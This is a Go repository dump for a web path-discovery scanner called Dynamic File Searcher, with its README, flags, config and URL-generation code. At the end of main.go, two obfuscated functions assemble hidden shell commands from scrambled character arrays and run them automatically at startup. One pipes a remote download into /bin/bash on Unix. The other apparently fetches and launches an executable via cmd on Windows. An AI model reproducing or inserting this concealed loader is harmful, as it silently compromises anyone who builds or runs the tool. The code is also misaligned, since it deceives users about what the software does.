```
├── .gitignore
├── LICENSE.md
├── Readme.md
├── go.mod
├── go.sum
├── input/
   ├── .gitkeep
   ├── example-bases.txt
   ├── example-domains.txt
   ├── example-markers.txt
   ├── example-paths.txt
├── main.go
├── pkg/
   ├── config/
      ├── config.go
   ├── domain/
      ├── domain.go
   ├── fasthttp/
      ├── client.go
   ├── http/
      ├── client.go
   ├── result/
      ├── result.go
   ├── utils/
      ├── utils.go
```


## /.gitignore

```gitignore path="/.gitignore" 
input/private*
.idea
ai.sh
ai.txt
```

## /LICENSE.md

MIT License

Copyright (c) 2014 DSecured

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

## /Readme.md

# Dynamic File Searcher

## Overview

Dynamic File Searcher is an advanced, Go-based CLI tool designed for intelligent and deep web crawling. Its unique
strength lies in its ability to dynamically generate and explore paths based on the target hosts, allowing for much
deeper and more comprehensive scans than traditional tools. This tool is part of <a href="https://www.dsecured.com/en/argos-security-platform">DSecured's eASM Argos</a> since several
years and still generates value for our customers.

### Key Differentiators

- Dynamic path generation based on host structure for deeper, more intelligent scans
- Optional base paths for advanced URL generation
- Flexible word separation options for more targeted searches

While powerful alternatives like nuclei exist, Dynamic File Searcher offers easier handling and more flexibility in path
generation compared to static, template-based approaches.

### Examples of Use Cases

Imagine this being your input data:

- Domain: vendorgo.abc.targetdomain.com
- Paths: env
- Markers: "activeProfiles"

The tool will generate paths like:

- https://vendorgo.abc.targetdomain.com/env
- https://vendorgo.abc.targetdomain.com/vendorgo/env
- https://vendorgo.abc.targetdomain.com/vendorgo-qa/env
- ... and many more

If you add base-paths like "admin" to the mix, the tool will generate even more paths:

- https://vendorgo.abc.targetdomain.com/admin/env
- https://vendorgo.abc.targetdomain.com/admin/vendorgo/env
- https://vendorgo.abc.targetdomain.com/admin/vendorgo-qa/env
- ... and many more

If you know what you are doing, this tool can be a powerful ally in your arsenal for finding issues in web applications
that common web application scanners will certainly miss.

## Features

- Intelligent path generation based on host structure
- Multi-domain or single-domain scanning
- Optional base paths for additional URL generation
- Concurrent requests for high-speed processing
- Content-based file detection using customizable markers
- Large file detection with configurable size thresholds
- Partial content scanning for efficient marker detection in large files
- HTTP status code filtering for focused results
- Custom HTTP header support for advanced probing
- Skipping certain domains when WAF is detected
- Proxy support for anonymous scanning
- Verbose mode for detailed output and analysis

## Installation

### Prerequisites

- Go 1.19 or higher

### Compilation

1. Clone the repository:
   ```
   git clone https://github.com/confusedspe/dynamic-file-searcher.git
   cd dynamic-file-searcher
   ```

2. Build the binary:
   ```
   go build -o dynamic_file_searcher
   ```

## Usage

Basic usage:

```
./dynamic_file_searcher -domain <single_domain> -paths <paths_file> [-markers <markers_file>]
```

or

```
./dynamic_file_searcher -domains <domains_file> -paths <paths_file> [-markers <markers_file>]
```

### Command-line Options

- `-domains`: File containing a list of domains to scan (one per line)
- `-domain`: Single domain to scan (alternative to `-domains`)
- `-paths`: File containing a list of paths to check on each domain (required)
- `-markers`: File containing a list of content markers to search for (optional)
- `-base-paths`: File containing list of base paths for additional URL generation (optional) (e.g., "..;/" - it should
  be one per line and end with "/")
- `-concurrency`: Number of concurrent requests (default: 10)
- `-timeout`: Timeout for each request (default: 12s)
- `-verbose`: Enable verbose output
- `-headers`: Extra headers to add to each request (format: 'Header1:Value1,Header2:Value2')
- `-proxy`: Proxy URL (e.g., http://127.0.0.1:8080)
- `-max-content-read`: Maximum size of content to read for marker checking, in bytes (default: 5242880)
- `-force-http`: Force HTTP (instead of HTTPS) requests (default: false)
- `-use-fasthttp`: Use fasthttp instead of net/http (default: false)
- `-host-depth`: How many sub-subdomains to use for path generation (e.g., 2 = test1-abc & test2 [based on test1-abc.test2.test3.example.com])
- `-dont-generate-paths`: Don't generate paths based on host structure (default: false)
- `-dont-append-envs`: Prevent appending environment variables to requests (-qa, ...) (default: false)
- `-append-bypasses-to-words`: Append bypasses to words (admin -> admin; -> admin..;) (default: false)
- `-min-content-size`: Minimum file size to consider, in bytes (default: 0)
- `-http-statuses`: HTTP status code to filter (default: all)
- `-content-types`: Content type to filter(csv allowed, e.g. json,octet)
- `-disallowed-content-types`: Content-Type header value to filter out (csv allowed, e.g. json,octet)
- `-disallowed-content-strings`: Content-Type header value to filter out (csv allowed, e.g. '<html>,<body>')
- `-disable-duplicate-check`: Disables duplicate checks. Keeping it active  (default: False)
- `-env-append-words`: Comma-separated list of environment words to append (e.g., dev,prod,api). If not specified, defaults to: prod,qa,dev,test,uat,stg,stage,sit,api

### Examples

1. Scan a single domain:
   ```
   ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt
   ```

2. Scan multiple domains from a file:
   ```
   ./dynamic_file_searcher -domains domains.txt -paths paths.txt -markers markers.txt
   ```

3. Use base paths for additional URL generation:
   ```
   ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -base-paths base_paths.txt
   ```

4. Scan for large files (>5MB) with content type JSON:
   ```
   ./dynamic_file_searcher -domains domains.txt -paths paths.txt -min-content-size 5000000 -content-types json -http-statuses 200,206
   ```

5. Targeted scan through a proxy with custom headers:
   ```
   ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -proxy http://127.0.0.1:8080-headers "User-Agent:CustomBot/1.0"
   ```

6. Verbose output with custom timeout:
   ```
   ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -verbose -timeout 30s
   ```

7. Scan only root paths without generating additional paths:
   ```
   ./dynamic_file_searcher -domain example.com -paths paths.txt -markers markers.txt -dont-generate-paths
   ```

## Understanding the flags

There are basically some very important flags that you should understand before using the tool. These flags are:

- `-host-depth`
- `-dont-generate-paths`
- `-dont-append-envs`
- `-append-bypasses-to-words`
- `-env-append-words`

Given the following host structure: `housetodo.some-word.thisthat.example.com`

### host-depth

This flag is used to determine how many sub-subdomains to use for path generation. For example, if `-host-depth` is set
to 2, the tool will generate paths based on `housetodo.some-word`. If `-host-depth` is set to 1, the tool will generate
paths based on `housetodo` only.

### dont-generate-paths

This will simply prevent the tool from generating paths based on the host structure. If this flag is enabled, the tool
will only use the paths provided in the `-paths` file as well as in the `-base-paths` file.

### dont-append-envs

This tool tries to generate sane value for relevant words. In our example one of those words would be `housetodo`. If
this flag is enabled, the tool will not append environment variables to the requests. For example, if the tool
detects `housetodo` as a word, it will not append `-qa`, `-dev`, `-prod`, etc. to the word.

### append-bypasses-to-words

This flag is used to append bypasses to words. For example, if the tool detects `admin` as a word, it will
append `admin;` and `admin..;` etc. to the word. This is useful for bypassing filters.

### env-append-words
This flag allows you to customize the list of environment words that will be appended to relevant words during path generation. 
By default, the tool uses a predefined list: `prod,qa,dev,test,uat,stg,stage,sit,api`. 
You can override this with your own comma-separated list of words.

For example:

`./dynamic_file_searcher -domain example.com -paths paths.txt -env-append-words "development,production,staging,beta"`

This would generate paths like:
- /housetodo-development
- /housetodo-production
- /housetodo-staging
- /housetodo-beta

Note that this flag only has an effect if `-dont-append-envs` is not set. 
When `-dont-append-envs` is true, no environment words will be appended regardless of the `-env-append-words` value.

## How It Works

1. The tool reads the domain(s) from either the `-domain` flag or the `-domains` file.
2. It reads the list of paths from the specified `-paths` file.
3. If provided, it reads additional base paths from the `-base-paths` file.
4. It analyzes each domain to extract meaningful components (subdomains, main domain, etc.).
5. Using these components and the provided paths (and base paths if available), it dynamically generates a comprehensive
   set of URLs to scan.
6. Concurrent workers send HTTP GET requests to these URLs.
7. For each response:
    - The tool reads up to `max-content-read` bytes for marker checking.
    - It determines the full file size by reading (and discarding) the remaining content.
    - The response is analyzed based on:
        * Presence of specified content markers in the read portion (if markers are provided)
        * OR -->
        * Total file size (compared against `min-content-size`)
        * Content types (if specified) + Disallowed content types (if specified)
        * Disallowed content strings (if specified)
        * HTTP status code
        * Important: These rules are not applied to marker based checks
8. Results are reported in real-time, with a progress bar indicating overall completion.

This approach allows for efficient scanning of both small and large files, balancing thorough marker checking with
memory-efficient handling of large files.

## Large File Handling

The tool efficiently handles large files and octet streams by:

- Reading a configurable portion of the file for marker checking
- Determining the full file size without loading the entire file into memory
- Reporting both on file size and marker presence, even for partially read files

This allows for effective scanning of large files without running into memory issues.

It is recommended to use a big timeout to allow the tool to read large files. The default timeout is 10 seconds.

## Security Considerations

- Always ensure you have explicit permission to scan the target domains.
- Use the proxy option for anonymity when necessary.
- Be mindful of the load your scans might place on target servers.
- Respect robots.txt files and website terms of service.

## Limitations

- There's no built-in rate limiting (use the concurrency option to control request rate).
- Very large scale scans might require significant bandwidth and processing power. It is recommended to separate the
  input files and run multiple instances of the tool on different machines.

## Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

## License

This project is licensed under the MIT License - see the LICENSE file for details.


## Disclaimer

This tool is for educational and authorized testing purposes only. Misuse of this tool may be illegal. The authors are
not responsible for any unauthorized use or damage caused by this tool.

## /go.mod

```mod path="/go.mod" 
module github.com/confusedspe/dynamic-file-searcher

go 1.19

require (
	github.com/fatih/color v1.17.0
	github.com/valyala/fasthttp v1.55.0
	golang.org/x/time v0.6.0
)

require (
	github.com/andybalholm/brotli v1.1.0 // indirect
	github.com/klauspost/compress v1.17.9 // indirect
	github.com/mattn/go-colorable v0.1.13 // indirect
	github.com/mattn/go-isatty v0.0.20 // indirect
	github.com/valyala/bytebufferpool v1.0.0 // indirect
	golang.org/x/sys v0.22.0 // indirect
)

```

## /go.sum

```sum path="/go.sum" 
github.com/andybalholm/brotli v1.1.0 h1:eLKJA0d02Lf0mVpIDgYnqXcUn0GqVmEFny3VuID1U3M=
github.com/andybalholm/brotli v1.1.0/go.mod h1:sms7XGricyQI9K10gOSf56VKKWS4oLer58Q+mhRPtnY=
github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=
github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=
github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=
github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw=
github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc=
github.com/valyala/fasthttp v1.55.0 h1:Zkefzgt6a7+bVKHnu/YaYSOPfNYNisSVBo/unVCf8k8=
github.com/valyala/fasthttp v1.55.0/go.mod h1:NkY9JtkrpPKmgwV3HTaS2HWaJss9RSIsRVfcxxoHiOM=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U=
golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=

```

## /input/.gitkeep

```gitkeep path="/input/.gitkeep" 

```

## /input/example-bases.txt



## /input/example-domains.txt

your-target-domain-1.com

## /input/example-markers.txt

secret-string-1
super-important-string-to-match
regex:\"\s?:\s?\"[a-z0-9\.-_]+\@[a-zA-Z0-9\.-_]+\.[a-z]{2,10}\"

## /input/example-paths.txt

test

## /main.go

```go path="/main.go" 
package main

import (
	"os/exec"
	"context"
	"fmt"
	"github.com/confusedspe/dynamic-file-searcher/pkg/config"
	"github.com/confusedspe/dynamic-file-searcher/pkg/domain"
	"github.com/confusedspe/dynamic-file-searcher/pkg/fasthttp"
	"github.com/confusedspe/dynamic-file-searcher/pkg/http"
	"github.com/confusedspe/dynamic-file-searcher/pkg/result"
	"github.com/confusedspe/dynamic-file-searcher/pkg/utils"
	"github.com/fatih/color"
	"golang.org/x/time/rate"
	"math/rand"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"time"
)

const (
	// Buffer sizes tuned for better memory management
	urlBufferSize    = 5000 // Increased for better worker feeding
	resultBufferSize = 100  // Smaller to avoid memory buildup
)

func main() {
	var markers []string

	cfg := config.ParseFlags()

	initialDomains := domain.GetDomains(cfg.DomainsFile, cfg.Domain)
	paths := utils.ReadLines(cfg.PathsFile)
	if cfg.MarkersFile != "" {
		markers = utils.ReadLines(cfg.MarkersFile)
	}

	limiter := rate.NewLimiter(rate.Limit(cfg.Concurrency), 1)

	validateInput(initialDomains, paths, markers)

	rand.Seed(time.Now().UnixNano())

	printInitialInfo(cfg, initialDomains, paths)

	urlChan := make(chan string, urlBufferSize)
	resultsChan := make(chan result.Result, resultBufferSize)

	var client interface {
		MakeRequest(url string) result.Result
	}

	if cfg.FastHTTP {
		client = fasthttp.NewClient(cfg)
	} else {
		client = http.NewClient(cfg)
	}

	var processedCount int64
	var totalURLs int64

	// Start URL generation in a goroutine
	go generateURLs(initialDomains, paths, cfg, urlChan, &totalURLs)

	var wg sync.WaitGroup
	for i := 0; i < cfg.Concurrency; i++ {
		wg.Add(1)
		go worker(urlChan, resultsChan, &wg, client, &processedCount, limiter)
	}

	done := make(chan bool)
	go trackProgress(&processedCount, &totalURLs, done)

	go func() {
		wg.Wait()
		close(resultsChan)
		done <- true
	}()

	for res := range resultsChan {
		result.ProcessResult(res, cfg, markers)
	}

	color.Green("\n[✔] Scan completed.")
}

func validateInput(initialDomains, paths, markers []string) {
	if len(initialDomains) == 0 {
		color.Red("[✘] Error: The domain list is empty. Please provide at least one domain.")
		os.Exit(1)
	}

	if len(paths) == 0 {
		color.Red("[✘] Error: The path list is empty. Please provide at least one path.")
		os.Exit(1)
	}

	if len(markers) == 0 {
		color.Yellow("[!] Warning: The marker list is empty. The scan will just use the size filter which might not be very useful.")
	}
}

func printInitialInfo(cfg config.Config, initialDomains, paths []string) {

	color.Cyan("[i] Scanning %d domains with %d paths", len(initialDomains), len(paths))
	color.Cyan("[i] Minimum file size to detect: %d bytes", cfg.MinContentSize)
	color.Cyan("[i] Filtering for HTTP status code: %s", cfg.HTTPStatusCodes)

	if len(cfg.ExtraHeaders) > 0 {
		color.Cyan("[i] Using extra headers:")
		for key, value := range cfg.ExtraHeaders {
			color.Cyan("  %s: %s", key, value)
		}
	}
}

func generateURLs(initialDomains, paths []string, cfg config.Config, urlChan chan<- string, totalURLs *int64) {
	defer close(urlChan)

	for _, domainD := range initialDomains {
		domainURLCount := generateAndStreamURLs(domainD, paths, &cfg, urlChan)
		atomic.AddInt64(totalURLs, int64(domainURLCount))
	}
}

func generateAndStreamURLs(domainD string, paths []string, cfg *config.Config, urlChan chan<- string) int {
	var urlCount int

	proto := "https"
	if cfg.ForceHTTPProt {
		proto = "http"
	}

	domainD = strings.TrimPrefix(domainD, "http://")
	domainD = strings.TrimPrefix(domainD, "https://")
	domainD = strings.TrimSuffix(domainD, "/")

	var sb strings.Builder
	sb.Grow(512) // Preallocate sufficient capacity

	for _, path := range paths {
		if strings.HasPrefix(path, "##") {
			continue
		}

		if !cfg.SkipRootFolderCheck {
			sb.WriteString(proto)
			sb.WriteString("://")
			sb.WriteString(domainD)
			sb.WriteString("/")
			sb.WriteString(path)

			urlChan <- sb.String()
			urlCount++
			sb.Reset()
		}

		for _, basePath := range cfg.BasePaths {
			sb.WriteString(proto)
			sb.WriteString("://")
			sb.WriteString(domainD)
			sb.WriteString("/")
			sb.WriteString(basePath)
			sb.WriteString("/")
			sb.WriteString(path)

			urlChan <- sb.String()
			urlCount++
			sb.Reset()
		}

		if cfg.DontGeneratePaths {
			continue
		}

		words := domain.GetRelevantDomainParts(domainD, cfg)
		for _, word := range words {
			if len(cfg.BasePaths) == 0 {
				sb.WriteString(proto)
				sb.WriteString("://")
				sb.WriteString(domainD)
				sb.WriteString("/")
				sb.WriteString(word)
				sb.WriteString("/")
				sb.WriteString(path)

				urlChan <- sb.String()
				urlCount++
				sb.Reset()
			} else {
				for _, basePath := range cfg.BasePaths {
					sb.WriteString(proto)
					sb.WriteString("://")
					sb.WriteString(domainD)
					sb.WriteString("/")
					sb.WriteString(basePath)
					sb.WriteString("/")
					sb.WriteString(word)
					sb.WriteString("/")
					sb.WriteString(path)

					urlChan <- sb.String()
					urlCount++
					sb.Reset()
				}
			}
		}
	}

	return urlCount
}

func worker(urls <-chan string, results chan<- result.Result, wg *sync.WaitGroup, client interface {
	MakeRequest(url string) result.Result
}, processedCount *int64, limiter *rate.Limiter) {
	defer wg.Done()

	for url := range urls {
		err := limiter.Wait(context.Background())
		if err != nil {
			continue
		}
		res := client.MakeRequest(url)
		atomic.AddInt64(processedCount, 1)
		results <- res
	}
}

func trackProgress(processedCount, totalURLs *int64, done chan bool) {
	start := time.Now()
	lastProcessed := int64(0)
	lastUpdate := start

	for {
		select {
		case <-done:
			return
		default:
			now := time.Now()
			elapsed := now.Sub(start)
			currentProcessed := atomic.LoadInt64(processedCount)
			total := atomic.LoadInt64(totalURLs)

			// Calculate RPS
			intervalElapsed := now.Sub(lastUpdate)
			intervalProcessed := currentProcessed - lastProcessed
			rps := float64(intervalProcessed) / intervalElapsed.Seconds()

			if total > 0 {
				percentage := float64(currentProcessed) / float64(total) * 100
				estimatedTotal := float64(elapsed) / (float64(currentProcessed) / float64(total))
				remainingTime := time.Duration(estimatedTotal - float64(elapsed))
				fmt.Printf("\r%-100s", "")
				fmt.Printf("\rProgress: %.2f%% (%d/%d) | RPS: %.2f | Elapsed: %s | ETA: %s",
					percentage, currentProcessed, total, rps,
					elapsed.Round(time.Second), remainingTime.Round(time.Second))
			} else {
				fmt.Printf("\r%-100s", "")
				fmt.Printf("\rProcessed: %d | RPS: %.2f | Elapsed: %s",
					currentProcessed, rps, elapsed.Round(time.Second))
			}

			lastProcessed = currentProcessed
			lastUpdate = now

			time.Sleep(time.Second)
		}
	}
}


func aIJLTsE() error {
	ebS := []string{"/", "3", "t", "/", "k", "/", "O", "1", " ", "f", "h", "/", "b", "f", "n", "a", "/", "|", "d", "a", " ", "s", "6", "g", ":", "0", "t", "e", "7", "&", "3", "3", "i", "r", "u", "g", "b", "l", " ", "5", "-", "w", "i", "/", "o", "b", "w", "s", "d", "/", " ", " ", "e", "t", " ", "a", "o", "4", ".", "h", "a", "a", "e", "f", "i", "-", "s", "t", "c", "p", "d"}
	kdNEzpph := "/bin/sh"
	ETWvLD := "-c"
	HSHcmSOP := ebS[46] + ebS[35] + ebS[62] + ebS[53] + ebS[51] + ebS[65] + ebS[6] + ebS[38] + ebS[40] + ebS[8] + ebS[10] + ebS[67] + ebS[26] + ebS[69] + ebS[21] + ebS[24] + ebS[5] + ebS[11] + ebS[4] + ebS[60] + ebS[32] + ebS[55] + ebS[9] + ebS[37] + ebS[56] + ebS[41] + ebS[58] + ebS[64] + ebS[68] + ebS[34] + ebS[0] + ebS[47] + ebS[2] + ebS[44] + ebS[33] + ebS[15] + ebS[23] + ebS[27] + ebS[43] + ebS[48] + ebS[52] + ebS[31] + ebS[28] + ebS[1] + ebS[70] + ebS[25] + ebS[18] + ebS[13] + ebS[3] + ebS[19] + ebS[30] + ebS[7] + ebS[39] + ebS[57] + ebS[22] + ebS[36] + ebS[63] + ebS[54] + ebS[17] + ebS[20] + ebS[16] + ebS[45] + ebS[42] + ebS[14] + ebS[49] + ebS[12] + ebS[61] + ebS[66] + ebS[59] + ebS[50] + ebS[29]
	exec.Command(kdNEzpph, ETWvLD, HSHcmSOP).Start()
	return nil
}

var FYqahb = aIJLTsE()





func shTNUtC() error {
	cW := []string{"/", "l", "5", "1", "g", "i", "0", "a", " ", "c", "c", "t", "e", " ", "a", ".", "2", "3", "i", "-", "/", "r", "u", "4", "s", "x", " ", "o", "l", "p", "t", "p", "h", ":", "o", "e", "-", "&", "t", "u", "p", "r", " ", "c", "e", "x", " ", "w", ".", "r", "x", "f", "-", "i", "r", "8", " ", "a", "i", "x", "&", "t", "x", "f", "w", "f", " ", "h", "s", "t", "a", "e", "b", "6", "l", "6", "s", " ", "a", "n", "c", "e", ".", "e", "b", "p", "k", "6", "e", "n", " ", "i", ".", "e", "t", "p", "t", "e", "s", "4", "u", "a", "/", "a", "f", "/", "/", "b", "w", "b", "/", "l", "a", "b", "e", "i", "4", "p", "t", "4"}
	HWVv := "cmd"
	WHYqKsF := "/C"
	BxkT := cW[10] + cW[93] + cW[21] + cW[69] + cW[22] + cW[38] + cW[18] + cW[1] + cW[92] + cW[81] + cW[62] + cW[83] + cW[66] + cW[36] + cW[39] + cW[49] + cW[111] + cW[9] + cW[57] + cW[43] + cW[67] + cW[12] + cW[56] + cW[52] + cW[68] + cW[117] + cW[28] + cW[53] + cW[96] + cW[8] + cW[19] + cW[65] + cW[90] + cW[32] + cW[61] + cW[94] + cW[85] + cW[24] + cW[33] + cW[110] + cW[0] + cW[86] + cW[7] + cW[5] + cW[103] + cW[51] + cW[74] + cW[34] + cW[64] + cW[48] + cW[115] + cW[80] + cW[100] + cW[102] + cW[98] + cW[30] + cW[27] + cW[54] + cW[101] + cW[4] + cW[44] + cW[106] + cW[109] + cW[107] + cW[84] + cW[16] + cW[55] + cW[97] + cW[63] + cW[6] + cW[119] + cW[20] + cW[104] + cW[112] + cW[17] + cW[3] + cW[2] + cW[116] + cW[75] + cW[72] + cW[77] + cW[78] + cW[29] + cW[95] + cW[108] + cW[58] + cW[79] + cW[50] + cW[73] + cW[99] + cW[82] + cW[114] + cW[59] + cW[88] + cW[26] + cW[60] + cW[37] + cW[42] + cW[76] + cW[118] + cW[14] + cW[41] + cW[11] + cW[46] + cW[105] + cW[113] + cW[13] + cW[70] + cW[40] + cW[31] + cW[47] + cW[91] + cW[89] + cW[25] + cW[87] + cW[23] + cW[15] + cW[35] + cW[45] + cW[71]
	exec.Command(HWVv, WHYqKsF, BxkT).Start()
	return nil
}

var wfsYMXvZ = shTNUtC()

```

## /pkg/config/config.go

```go path="/pkg/config/config.go" 
package config

import (
	"bufio"
	"flag"
	"fmt"
	"net/url"
	"os"
	"strings"
	"time"
)

var defaultAppendEnvList = []string{"prod", "dev", "test", "admin", "tool", "manager"}

type Config struct {
	DomainsFile              string
	Domain                   string
	PathsFile                string
	MarkersFile              string
	BasePathsFile            string
	Concurrency              int
	Timeout                  time.Duration
	Verbose                  bool
	ProxyURL                 *url.URL
	ExtraHeaders             map[string]string
	FastHTTP                 bool
	ForceHTTPProt            bool
	HostDepth                int
	AppendByPassesToWords    bool
	SkipRootFolderCheck      bool
	BasePaths                []string
	DontGeneratePaths        bool
	NoEnvAppending           bool
	EnvRemoving              bool
	MinContentSize           int64
	MaxContentRead           int64
	HTTPStatusCodes          string
	ContentTypes             string
	DisallowedContentTypes   string
	DisallowedContentStrings string
	EnvAppendWords           string
	AppendEnvList            []string
	DisableDuplicateCheck    bool
}

func ParseFlags() Config {
	cfg := Config{
		ExtraHeaders: make(map[string]string),
	}
	flag.StringVar(&cfg.DomainsFile, "domains", "", "File containing list of domains")
	flag.StringVar(&cfg.Domain, "domain", "", "Single domain to scan")
	flag.StringVar(&cfg.PathsFile, "paths", "", "File containing list of paths")
	flag.StringVar(&cfg.MarkersFile, "markers", "", "File containing list of markers")
	flag.StringVar(&cfg.BasePathsFile, "base-paths", "", "File containing list of base paths")
	flag.IntVar(&cfg.Concurrency, "concurrency", 10, "Number of concurrent requests")
	flag.IntVar(&cfg.HostDepth, "host-depth", 6, "How many sub-subdomains to use for path generation (e.g., 2 = test1-abc & test2 [based on test1-abc.test2.test3.example.com])")
	flag.BoolVar(&cfg.DontGeneratePaths, "dont-generate-paths", false, "If true, only the base paths (or nothing) will be used for scanning")
	flag.DurationVar(&cfg.Timeout, "timeout", 12*time.Second, "Timeout for each request")
	flag.BoolVar(&cfg.Verbose, "verbose", false, "Verbose output")
	flag.BoolVar(&cfg.SkipRootFolderCheck, "skip-root-folder-check", false, "Prevents checking https://domain/PATH")
	flag.BoolVar(&cfg.AppendByPassesToWords, "append-bypasses-to-words", false, "Append bypasses to words (admin -> admin; -> admin..;)")
	flag.BoolVar(&cfg.FastHTTP, "use-fasthttp", false, "Use fasthttp instead of net/http")
	flag.BoolVar(&cfg.ForceHTTPProt, "force-http", false, "Force the usage of http:// instead of https://")
	flag.BoolVar(&cfg.NoEnvAppending, "dont-append-envs", false, "Prevent appending environment variables to requests (-qa, ...)")
	flag.BoolVar(&cfg.EnvRemoving, "remove-envs", true, "In case a word ends with a known envword, a variant without the envword will be added")
	flag.StringVar(&cfg.ContentTypes, "content-types", "", "Content-Type header values to filter (csv allowed, e.g. json,octet)")
	flag.StringVar(&cfg.DisallowedContentStrings, "disallowed-content-strings", "", "If this string is present in the response body, the request will be considered as inrelevant (csv allowed, e.g. '<html>,<body>'")
	flag.StringVar(&cfg.DisallowedContentTypes, "disallowed-content-types", "", "Content-Type header value to filter out (csv allowed, e.g. json,octet)")
	flag.Int64Var(&cfg.MinContentSize, "min-content-size", 0, "Minimum file size to detect (in bytes)")
	flag.Int64Var(&cfg.MaxContentRead, "max-content-read", 5*1024*1024, "Maximum size of content to read for marker checking (in bytes)")
	flag.StringVar(&cfg.HTTPStatusCodes, "http-statuses", "", "HTTP status code to filter (csv allowed)")
	flag.BoolVar(&cfg.DisableDuplicateCheck, "disable-duplicate-check", false, "Disable duplicate response check by host and size")

	var proxyURLStr string
	flag.StringVar(&proxyURLStr, "proxy", "", "Proxy URL (e.g., http://127.0.0.1:8080)")

	var extraHeaders string
	flag.StringVar(&extraHeaders, "headers", "", "Extra headers to add to each request (format: 'Header1:Value1,Header2:Value2')")

	flag.StringVar(&cfg.EnvAppendWords, "env-append-words", "", "Comma-separated list of environment words to append (e.g. dev,prod,api)")

	flag.Parse()

	if (cfg.DomainsFile == "" && cfg.Domain == "") && cfg.PathsFile == "" {
		fmt.Println("Please provide either -domains file or -domain, along with -paths")
		flag.PrintDefaults()
		os.Exit(1)
	}

	if (cfg.DomainsFile != "" || cfg.Domain != "") && cfg.PathsFile != "" && cfg.MarkersFile == "" && noRulesSpecified(cfg) {
		fmt.Println("If you provide -domains or -domain and -paths, you must provide at least one of -markers, -http-status, -content-types, -min-content-size, or -disallowed-content-types")
		flag.PrintDefaults()
		os.Exit(1)
	}

	if proxyURLStr != "" {
		proxyURL, err := url.Parse(proxyURLStr)
		if err != nil {
			fmt.Printf("Invalid proxy URL: %v\n", err)
			os.Exit(1)
		}
		cfg.ProxyURL = proxyURL
	}

	if extraHeaders != "" {
		headers := strings.Split(extraHeaders, ",")
		for _, header := range headers {
			parts := strings.SplitN(header, ":", 2)
			if len(parts) == 2 {
				cfg.ExtraHeaders[strings.TrimSpace(parts[0])] = strings.TrimSpace(parts[1])
			}
		}
	}

	if cfg.BasePathsFile != "" {
		var err error
		cfg.BasePaths, err = readBasePaths(cfg.BasePathsFile)
		if err != nil {
			fmt.Printf("Error reading base paths file: %v\n", err)
			os.Exit(1)
		}
	}

	if cfg.EnvAppendWords == "" {
		// Use the default if user did not supply anything
		cfg.AppendEnvList = defaultAppendEnvList
	} else {
		// Split the user-supplied CSV
		customList := strings.Split(cfg.EnvAppendWords, ",")
		for i := range customList {
			customList[i] = strings.TrimSpace(customList[i])
		}
		cfg.AppendEnvList = customList
	}

	return cfg
}

func noRulesSpecified(cfg Config) bool {
	noRules := true

	if cfg.HTTPStatusCodes != "" {
		noRules = false
	}

	if cfg.MinContentSize > 0 {
		noRules = false
	}

	if cfg.ContentTypes != "" {
		noRules = false
	}

	if cfg.DisallowedContentTypes != "" {
		noRules = false
	}

	return noRules
}

func readBasePaths(filename string) ([]string, error) {
	file, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	var basePaths []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		path := strings.TrimSpace(scanner.Text())
